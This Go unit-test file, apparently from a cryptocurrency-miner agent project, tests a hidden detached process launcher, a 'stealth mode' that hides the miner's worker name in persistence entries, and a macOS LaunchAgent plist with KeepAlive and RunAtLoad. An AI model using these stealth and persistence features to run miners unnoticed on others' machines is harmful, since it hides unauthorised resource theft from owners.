//go:build !windows

package deploy

import (
	"os"
	"strings"
	"testing"

	"crypto-miner-agent/config"
)

// ─── applyDetachedStart ───────────────────────────────────────────────────────

func TestApplyDetachedStartNilSafe(t *testing.T) {
	// Must not panic when passed nil.
	applyDetachedStart(nil)
}

func TestApplyDetachedStartClearsIO(t *testing.T) {
	// Build a real command and verify stdio is cleared.
	cmd := HiddenCommand("true")
	// Assign non-nil stdio to confirm applyDetachedStart clears them.
	r, w, _ := os.Pipe()
	defer r.Close()
	defer w.Close()
	cmd.Stdin = r
	cmd.Stdout = w
	cmd.Stderr = w

	applyDetachedStart(cmd)

	if cmd.Stdin != nil {
		t.Error("applyDetachedStart should set Stdin to nil")
	}
	if cmd.Stdout != nil {
		t.Error("applyDetachedStart should set Stdout to nil")
	}
	if cmd.Stderr != nil {
		t.Error("applyDetachedStart should set Stderr to nil")
	}
}

// ─── PersistenceKeyName ───────────────────────────────────────────────────────

func TestPersistenceKeyNameNormal(t *testing.T) {
	b := config.GetBuiltinConfig()
	b.WorkerName = "MyMiner"
	b.StealthMode = false
	cfg := config.RuntimeConfig{BuiltinConfig: b}

	key := PersistenceKeyName(cfg)
	if !strings.HasPrefix(key, "CryptoMiner-") {
		t.Errorf("PersistenceKeyName = %q, expected CryptoMiner- prefix", key)
	}
	if !strings.Contains(key, "MyMiner") {
		t.Errorf("PersistenceKeyName = %q, expected to contain worker name", key)
	}
}

func TestPersistenceKeyNameStealthMode(t *testing.T) {
	b := config.GetBuiltinConfig()
	b.WorkerName = "MyMiner"
	b.StealthMode = true
	cfg := config.RuntimeConfig{BuiltinConfig: b}

	key := PersistenceKeyName(cfg)
	// Stealth: uses effective process name, not worker name.
	if strings.Contains(key, "MyMiner") {
		t.Errorf("PersistenceKeyName in stealth = %q, should NOT contain worker name", key)
	}
}

// ─── HostOSVersion ───────────────────────────────────────────────────────────

func TestHostOSVersionNonEmpty(t *testing.T) {
	v := HostOSVersion()
	if v == "" {
		t.Error("HostOSVersion() should not be empty")
	}
}

// ─── LaunchAgent plist content validation (darwin-specific logic) ─────────────

func TestConfigureLaunchAgentPlistContent(t *testing.T) {
	b := config.GetBuiltinConfig()
	b.WorkerName = "TestMiner"
	b.RunAs = "scheduled"
	cfg := config.RuntimeConfig{BuiltinConfig: b}

	// Write to a temp dir so we don't actually install anything.
	tmpHome := t.TempDir()
	origHome := os.Getenv("HOME")
	os.Setenv("HOME", tmpHome)
	defer os.Setenv("HOME", origHome)

	binPath := "/usr/local/bin/crypto-miner-agent"
	err := configureLaunchAgent(cfg, binPath)
	if err != nil {
		t.Fatalf("configureLaunchAgent: %v", err)
	}

	// Verify plist was written.
	label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
	plistPath := tmpHome + "/Library/LaunchAgents/" + label + ".plist"
	data, err := os.ReadFile(plistPath)
	if err != nil {
		t.Fatalf("plist not created: %v", err)
	}

	content := string(data)
	requiredStrings := []string{
		"<?xml version=\"1.0\"",
		"com.aetherforge.",
		binPath,
		"<key>KeepAlive</key>",
		"<key>RunAtLoad</key>",
		"<true/>",
		"<key>ProcessType</key>",
		"Background",
	}
	for _, s := range requiredStrings {
		if !strings.Contains(content, s) {
			t.Errorf("plist missing %q\ncontent:\n%s", s, content)
		}
	}
}
